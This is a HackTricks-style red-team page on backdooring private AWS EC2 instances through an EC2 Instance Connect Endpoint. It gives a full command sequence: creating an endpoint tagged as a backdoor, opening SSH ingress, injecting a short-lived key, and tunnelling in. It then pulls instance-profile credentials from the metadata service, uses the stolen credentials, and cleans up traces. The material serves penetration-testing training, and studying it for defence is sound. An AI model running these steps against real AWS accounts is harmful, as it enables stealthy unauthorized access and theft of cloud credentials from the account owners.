Sponsored

AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection

[!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Browse the full HackTricks Training catalog.

Support HackTricks

Abuse EC2 Instance Connect Endpoint (EIC Endpoint) to gain inbound SSH access to private EC2 instances (no public IP/bastion) by:

  • Creating an EIC Endpoint inside the target subnet
  • Allowing inbound SSH on the target SG from the EIC Endpoint SG
  • Injecting a shortโ€‘lived SSH public key (valid ~60 seconds) with ec2-instance-connect:SendSSHPublicKey
  • Opening an EIC tunnel and pivoting to the instance to steal instance profile credentials from IMDS

Impact: stealthy remote access path into private EC2 instances that bypasses bastions and public IP restrictions. The attacker can assume the instance profile and operate in the account.

Requirements

  • Permissions to:
    • ec2:CreateInstanceConnectEndpoint, ec2:Describe*, ec2:AuthorizeSecurityGroupIngress
    • ec2-instance-connect:SendSSHPublicKey, ec2-instance-connect:OpenTunnel
  • Target Linux instance with SSH server and EC2 Instance Connect enabled (Amazon Linux 2 or Ubuntu 20.04+). Default users: ec2-user (AL2) or ubuntu (Ubuntu).

Variables

export REGION=us-east-1
export INSTANCE_ID=<i-xxxxxxxxxxxx>
export SUBNET_ID=<subnet-xxxxxxxx>
export VPC_ID=<vpc-xxxxxxxx>
export TARGET_SG_ID=<sg-of-target-instance>
export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
export OS_USER=ec2-user

Create EIC Endpoint

aws ec2 create-instance-connect-endpoint \
  --subnet-id "$SUBNET_ID" \
  --security-group-ids "$ENDPOINT_SG_ID" \
  --tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
  --region "$REGION" \
  --query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID

# Wait until ready
while true; do
  aws ec2 describe-instance-connect-endpoints \
    --instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
    --query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
  grep -q 'create-complete' EIC_STATE && break
  sleep 5
done

Allow traffic from EIC Endpoint to target instance

aws ec2 authorize-security-group-ingress \
  --group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
  --source-group "$ENDPOINT_SG_ID" --region "$REGION" || true

Inject ephemeral SSH key and open tunnel

# Generate throwaway key
ssh-keygen -t ed25519 -f /tmp/eic -N ''

# Send short-lived SSH pubkey (valid ~60s)
aws ec2-instance-connect send-ssh-public-key \
  --instance-id "$INSTANCE_ID" \
  --instance-os-user "$OS_USER" \
  --ssh-public-key file:///tmp/eic.pub \
  --region "$REGION"

# Open a local tunnel to instance:22 via the EIC Endpoint
aws ec2-instance-connect open-tunnel \
  --instance-id "$INSTANCE_ID" \
  --instance-connect-endpoint-id "$(cat EIC_ID)" \
  --local-port 2222 --remote-port 22 --region "$REGION" &
TUN_PID=$!; sleep 2

# SSH via the tunnel (within the 60s window)
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no

Post-exploitation proof (steal instance profile credentials)

# From the shell inside the instance
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)

Example output (truncated):

{
  "Code": "Success",
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "w0G...",
  "Token": "IQoJ...",
  "Expiration": "2025-10-08T04:09:52Z"
}

Use the stolen creds locally to verify identity:

export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity --region "$REGION"
# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>

Cleanup

# Revoke SG ingress on the target
aws ec2 revoke-security-group-ingress \
  --group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
  --source-group "$ENDPOINT_SG_ID" --region "$REGION" || true

# Delete EIC Endpoint
aws ec2 delete-instance-connect-endpoint \
  --instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"

Notes

Support HackTricks